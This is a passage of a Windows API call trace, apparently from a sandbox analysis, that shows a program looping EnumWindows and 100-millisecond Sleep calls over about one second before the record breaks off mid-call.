[0159.752] Sleep (dwMilliseconds=0x64) [0159.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.754] Sleep (dwMilliseconds=0x64) [0159.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.755] Sleep (dwMilliseconds=0x64) [0159.757] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.757] Sleep (dwMilliseconds=0x64) [0159.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.759] Sleep (dwMilliseconds=0x64) [0159.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.761] Sleep (dwMilliseconds=0x64) [0159.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.763] Sleep (dwMilliseconds=0x64) [0159.765] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.765] Sleep (dwMilliseconds=0x64) [0159.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.766] Sleep (dwMilliseconds=0x64) [0159.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.768] Sleep (dwMilliseconds=0x64) [0159.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.770] Sleep (dwMilliseconds=0x64) [0159.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.772] Sleep (dwMilliseconds=0x64) [0159.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.774] Sleep (dwMilliseconds=0x64) [0159.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.779] Sleep (dwMilliseconds=0x64) [0159.783] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.783] Sleep (dwMilliseconds=0x64) [0159.785] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.785] Sleep (dwMilliseconds=0x64) [0159.787] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.787] Sleep (dwMilliseconds=0x64) [0159.789] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.789] Sleep (dwMilliseconds=0x64) [0159.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.790] Sleep (dwMilliseconds=0x64) [0159.794] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.794] Sleep (dwMilliseconds=0x64) [0159.796] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.796] Sleep (dwMilliseconds=0x64) [0159.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.798] Sleep (dwMilliseconds=0x64) [0159.800] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.800] Sleep (dwMilliseconds=0x64) [0159.801] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.801] Sleep (dwMilliseconds=0x64) [0159.803] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.803] Sleep (dwMilliseconds=0x64) [0159.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.804] Sleep (dwMilliseconds=0x64) [0159.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.806] Sleep (dwMilliseconds=0x64) [0159.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.807] Sleep (dwMilliseconds=0x64) [0159.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.809] Sleep (dwMilliseconds=0x64) [0159.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.810] Sleep (dwMilliseconds=0x64) [0159.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.812] Sleep (dwMilliseconds=0x64) [0159.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.814] Sleep (dwMilliseconds=0x64) [0159.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.815] Sleep (dwMilliseconds=0x64) [0159.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.817] Sleep (dwMilliseconds=0x64) [0159.818] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.819] Sleep (dwMilliseconds=0x64) [0159.820] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.820] Sleep (dwMilliseconds=0x64) [0159.825] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.825] Sleep (dwMilliseconds=0x64) [0159.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.826] Sleep (dwMilliseconds=0x64) [0159.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.828] Sleep (dwMilliseconds=0x64) [0159.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.830] Sleep (dwMilliseconds=0x64) [0159.831] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.831] Sleep (dwMilliseconds=0x64) [0159.833] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.833] Sleep (dwMilliseconds=0x64) [0159.834] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.834] Sleep (dwMilliseconds=0x64) [0159.836] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.836] Sleep (dwMilliseconds=0x64) [0159.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.837] Sleep (dwMilliseconds=0x64) [0159.839] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.839] Sleep (dwMilliseconds=0x64) [0159.869] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.870] Sleep (dwMilliseconds=0x64) [0159.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.872] Sleep (dwMilliseconds=0x64) [0159.874] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.874] Sleep (dwMilliseconds=0x64) [0159.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.876] Sleep (dwMilliseconds=0x64) [0159.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.877] Sleep (dwMilliseconds=0x64) [0159.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.879] Sleep (dwMilliseconds=0x64) [0159.880] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.880] Sleep (dwMilliseconds=0x64) [0159.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.882] Sleep (dwMilliseconds=0x64) [0159.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.883] Sleep (dwMilliseconds=0x64) [0159.885] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.885] Sleep (dwMilliseconds=0x64) [0159.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.886] Sleep (dwMilliseconds=0x64) [0159.896] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.896] Sleep (dwMilliseconds=0x64) [0159.898] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.898] Sleep (dwMilliseconds=0x64) [0159.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.900] Sleep (dwMilliseconds=0x64) [0159.903] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.903] Sleep (dwMilliseconds=0x64) [0159.905] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.905] Sleep (dwMilliseconds=0x64) [0159.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.907] Sleep (dwMilliseconds=0x64) [0159.911] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.912] Sleep (dwMilliseconds=0x64) [0159.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.914] Sleep (dwMilliseconds=0x64) [0159.916] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.916] Sleep (dwMilliseconds=0x64) [0159.918] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.918] Sleep (dwMilliseconds=0x64) [0159.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.920] Sleep (dwMilliseconds=0x64) [0159.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.923] Sleep (dwMilliseconds=0x64) [0159.927] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.927] Sleep (dwMilliseconds=0x64) [0159.929] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.929] Sleep (dwMilliseconds=0x64) [0159.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.931] Sleep (dwMilliseconds=0x64) [0159.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.934] Sleep (dwMilliseconds=0x64) [0159.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.936] Sleep (dwMilliseconds=0x64) [0159.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.937] Sleep (dwMilliseconds=0x64) [0159.939] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.939] Sleep (dwMilliseconds=0x64) [0159.941] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.941] Sleep (dwMilliseconds=0x64) [0159.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.943] Sleep (dwMilliseconds=0x64) [0159.944] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.945] Sleep (dwMilliseconds=0x64) [0159.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.946] Sleep (dwMilliseconds=0x64) [0159.948] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.948] Sleep (dwMilliseconds=0x64) [0159.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.949] Sleep (dwMilliseconds=0x64) [0159.951] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.951] Sleep (dwMilliseconds=0x64) [0159.953] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.953] Sleep (dwMilliseconds=0x64) [0159.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.955] Sleep (dwMilliseconds=0x64) [0159.956] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.956] Sleep (dwMilliseconds=0x64) [0159.958] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.958] Sleep (dwMilliseconds=0x64) [0159.960] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.960] Sleep (dwMilliseconds=0x64) [0159.963] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.963] Sleep (dwMilliseconds=0x64) [0159.965] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.966] Sleep (dwMilliseconds=0x64) [0159.968] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.968] Sleep (dwMilliseconds=0x64) [0159.970] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.970] Sleep (dwMilliseconds=0x64) [0159.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.972] Sleep (dwMilliseconds=0x64) [0159.973] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.973] Sleep (dwMilliseconds=0x64) [0159.975] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.975] Sleep (dwMilliseconds=0x64) [0159.977] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.977] Sleep (dwMilliseconds=0x64) [0159.979] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.979] Sleep (dwMilliseconds=0x64) [0159.981] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.981] Sleep (dwMilliseconds=0x64) [0159.982] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.982] Sleep (dwMilliseconds=0x64) [0159.984] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.984] Sleep (dwMilliseconds=0x64) [0159.986] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.986] Sleep (dwMilliseconds=0x64) [0159.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.988] Sleep (dwMilliseconds=0x64) [0159.990] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.990] Sleep (dwMilliseconds=0x64) [0159.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.992] Sleep (dwMilliseconds=0x64) [0159.993] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.993] Sleep (dwMilliseconds=0x64) [0159.995] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.995] Sleep (dwMilliseconds=0x64) [0159.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.997] Sleep (dwMilliseconds=0x64) [0160.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.000] Sleep (dwMilliseconds=0x64) [0160.002] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.002] Sleep (dwMilliseconds=0x64) [0160.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.004] Sleep (dwMilliseconds=0x64) [0160.006] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.006] Sleep (dwMilliseconds=0x64) [0160.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.008] Sleep (dwMilliseconds=0x64) [0160.009] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.010] Sleep (dwMilliseconds=0x64) [0160.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.011] Sleep (dwMilliseconds=0x64) [0160.012] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.013] Sleep (dwMilliseconds=0x64) [0160.014] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.014] Sleep (dwMilliseconds=0x64) [0160.016] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.016] Sleep (dwMilliseconds=0x64) [0160.018] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.018] Sleep (dwMilliseconds=0x64) [0160.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.020] Sleep (dwMilliseconds=0x64) [0160.023] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.024] Sleep (dwMilliseconds=0x64) [0160.025] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.025] Sleep (dwMilliseconds=0x64) [0160.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.027] Sleep (dwMilliseconds=0x64) [0160.029] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.029] Sleep (dwMilliseconds=0x64) [0160.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.031] Sleep (dwMilliseconds=0x64) [0160.032] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.033] Sleep (dwMilliseconds=0x64) [0160.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.035] Sleep (dwMilliseconds=0x64) [0160.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.038] Sleep (dwMilliseconds=0x64) [0160.039] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.040] Sleep (dwMilliseconds=0x64) [0160.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.041] Sleep (dwMilliseconds=0x64) [0160.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.043] Sleep (dwMilliseconds=0x64) [0160.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.044] Sleep (dwMilliseconds=0x64) [0160.045] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.046] Sleep (dwMilliseconds=0x64) [0160.047] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.047] Sleep (dwMilliseconds=0x64) [0160.048] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.049] Sleep (dwMilliseconds=0x64) [0160.050] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.050] Sleep (dwMilliseconds=0x64) [0160.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.052] Sleep (dwMilliseconds=0x64) [0160.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.053] Sleep (dwMilliseconds=0x64) [0160.054] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.055] Sleep (dwMilliseconds=0x64) [0160.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.056] Sleep (dwMilliseconds=0x64) [0160.058] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.058] Sleep (dwMilliseconds=0x64) [0160.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.060] Sleep (dwMilliseconds=0x64) [0160.061] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.061] Sleep (dwMilliseconds=0x64) [0160.062] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.063] Sleep (dwMilliseconds=0x64) [0160.064] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.064] Sleep (dwMilliseconds=0x64) [0160.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.066] Sleep (dwMilliseconds=0x64) [0160.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.067] Sleep (dwMilliseconds=0x64) [0160.068] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.069] Sleep (dwMilliseconds=0x64) [0160.070] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.070] Sleep (dwMilliseconds=0x64) [0160.072] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.072] Sleep (dwMilliseconds=0x64) [0160.073] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.074] Sleep (dwMilliseconds=0x64) [0160.092] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.093] Sleep (dwMilliseconds=0x64) [0160.096] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.097] Sleep (dwMilliseconds=0x64) [0160.195] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.196] Sleep (dwMilliseconds=0x64) [0160.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.198] Sleep (dwMilliseconds=0x64) [0160.200] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.200] Sleep (dwMilliseconds=0x64) [0160.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.202] Sleep (dwMilliseconds=0x64) [0160.204] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.204] Sleep (dwMilliseconds=0x64) [0160.206] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.206] Sleep (dwMilliseconds=0x64) [0160.207] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.208] Sleep (dwMilliseconds=0x64) [0160.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.213] Sleep (dwMilliseconds=0x64) [0160.215] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.215] Sleep (dwMilliseconds=0x64) [0160.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.217] Sleep (dwMilliseconds=0x64) [0160.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.218] Sleep (dwMilliseconds=0x64) [0160.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.220] Sleep (dwMilliseconds=0x64) [0160.222] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.222] Sleep (dwMilliseconds=0x64) [0160.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.224] Sleep (dwMilliseconds=0x64) [0160.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.226] Sleep (dwMilliseconds=0x64) [0160.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.228] Sleep (dwMilliseconds=0x64) [0160.230] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.230] Sleep (dwMilliseconds=0x64) [0160.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.298] Sleep (dwMilliseconds=0x64) [0160.304] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.305] Sleep (dwMilliseconds=0x64) [0160.307] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.307] Sleep (dwMilliseconds=0x64) [0160.309] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.310] Sleep (dwMilliseconds=0x64) [0160.311] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.312] Sleep (dwMilliseconds=0x64) [0160.313] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.313] Sleep (dwMilliseconds=0x64) [0160.315] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.316] Sleep (dwMilliseconds=0x64) [0160.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.319] Sleep (dwMilliseconds=0x64) [0160.324] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.325] Sleep (dwMilliseconds=0x64) [0160.329] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.329] Sleep (dwMilliseconds=0x64) [0160.419] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.420] Sleep (dwMilliseconds=0x64) [0160.424] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.424] Sleep (dwMilliseconds=0x64) [0160.426] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.426] Sleep (dwMilliseconds=0x64) [0160.428] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.429] Sleep (dwMilliseconds=0x64) [0160.431] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.431] Sleep (dwMilliseconds=0x64) [0160.434] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.434] Sleep (dwMilliseconds=0x64) [0160.436] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.436] Sleep (dwMilliseconds=0x64) [0160.438] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.438] Sleep (dwMilliseconds=0x64) [0160.440] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.440] Sleep (dwMilliseconds=0x64) [0160.442] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.442] Sleep (dwMilliseconds=0x64) [0160.444] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.444] Sleep (dwMilliseconds=0x64) [0160.446] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.446] Sleep (dwMilliseconds=0x64) [0160.448] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.448] Sleep (dwMilliseconds=0x64) [0160.451] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.451] Sleep (dwMilliseconds=0x64) [0160.453] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.453] Sleep (dwMilliseconds=0x64) [0160.454] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.455] Sleep (dwMilliseconds=0x64) [0160.456] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.456] Sleep (dwMilliseconds=0x64) [0160.458] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.458] Sleep (dwMilliseconds=0x64) [0160.459] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.459] Sleep (dwMilliseconds=0x64) [0160.461] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.461] Sleep (dwMilliseconds=0x64) [0160.463] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.463] Sleep (dwMilliseconds=0x64) [0160.465] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.465] Sleep (dwMilliseconds=0x64) [0160.467] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.467] Sleep (dwMilliseconds=0x64) [0160.468] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.469] Sleep (dwMilliseconds=0x64) [0160.470] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.471] Sleep (dwMilliseconds=0x64) [0160.472] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.473] Sleep (dwMilliseconds=0x64) [0160.475] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.475] Sleep (dwMilliseconds=0x64) [0160.476] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.476] Sleep (dwMilliseconds=0x64) [0160.478] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.478] Sleep (dwMilliseconds=0x64) [0160.480] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.480] Sleep (dwMilliseconds=0x64) [0160.481] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.482] Sleep (dwMilliseconds=0x64) [0160.484] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.485] Sleep (dwMilliseconds=0x64) [0160.487] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.487] Sleep (dwMilliseconds=0x64) [0160.488] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.489] Sleep (dwMilliseconds=0x64) [0160.490] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.491] Sleep (dwMilliseconds=0x64) [0160.492] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.493] Sleep (dwMilliseconds=0x64) [0160.494] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.495] Sleep (dwMilliseconds=0x64) [0160.496] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.497] Sleep (dwMilliseconds=0x64) [0160.498] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.498] Sleep (dwMilliseconds=0x64) [0160.500] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.501] Sleep (dwMilliseconds=0x64) [0160.502] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.502] Sleep (dwMilliseconds=0x64) [0160.503] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.504] Sleep (dwMilliseconds=0x64) [0160.505] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.505] Sleep (dwMilliseconds=0x64) [0160.507] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.507] Sleep (dwMilliseconds=0x64) [0160.508] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.508] Sleep (dwMilliseconds=0x64) [0160.510] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.510] Sleep (dwMilliseconds=0x64) [0160.511] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.511] Sleep (dwMilliseconds=0x64) [0160.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.513] Sleep (dwMilliseconds=0x64) [0160.514] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.514] Sleep (dwMilliseconds=0x64) [0160.517] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.517] Sleep (dwMilliseconds=0x64) [0160.518] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.519] Sleep (dwMilliseconds=0x64) [0160.520] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.521] Sleep (dwMilliseconds=0x64) [0160.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.522] Sleep (dwMilliseconds=0x64) [0160.524] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.524] Sleep (dwMilliseconds=0x64) [0160.526] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.526] Sleep (dwMilliseconds=0x64) [0160.527] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.527] Sleep (dwMilliseconds=0x64) [0160.529] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.529] Sleep (dwMilliseconds=0x64) [0160.530] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.531] Sleep (dwMilliseconds=0x64) [0160.532] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.532] Sleep (dwMilliseconds=0x64) [0160.535] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.535] Sleep (dwMilliseconds=0x64) [0160.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.537] Sleep (dwMilliseconds=0x64) [0160.538] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.538] Sleep (dwMilliseconds=0x64) [0160.540] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.540] Sleep (dwMilliseconds=0x64) [0160.541] EnumWindows (lpEnumFunc=0x423dd0, 